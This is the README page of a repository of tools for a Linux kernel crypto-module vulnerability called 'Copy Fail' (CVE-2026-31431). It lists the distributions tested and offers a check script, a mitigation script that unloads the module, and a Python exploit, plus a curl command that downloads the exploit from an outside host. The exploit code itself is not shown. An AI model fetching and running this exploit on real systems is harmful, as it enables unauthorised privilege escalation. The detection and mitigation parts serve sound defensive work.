jon/CVE-2026-31431-tools
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
cad4784cb1c1478285e240fc2daca64237935ec7
CVE-2026-31431-tools/README.md
Jon 30a62dffce Added code and mitigation and checks
2026-04-30 16:13:24 +01:00

774 B
Raw Blame History

Copy Fail - CVE-2026-31431

Technical Writeup

Tested Distro / Version

Distro Version
Ubuntu 24.04 LTS 6.17.0-1007-aws
Amazon Linux 2023 6.18.8-9.213.amzn2023
RHEL 10.1 6.12.0-124.45.1.el10_1
SUSE 16 6.12.0-160000.9-default
Rocky Linux 9.7 (Blue Onyx) 5.14.0-611.49.1.el9_7.x86_64

Files

check.sh - makes a check to see if the exploitable crypto module is loaded. mitigate.sh - unloads the exploitable crypto module, chances are you didnt need it anyway.

copy_fail_exp.py - the exploit in pure python.

run to get the file as a non-privilaged user.

curl https://copy.fail/exp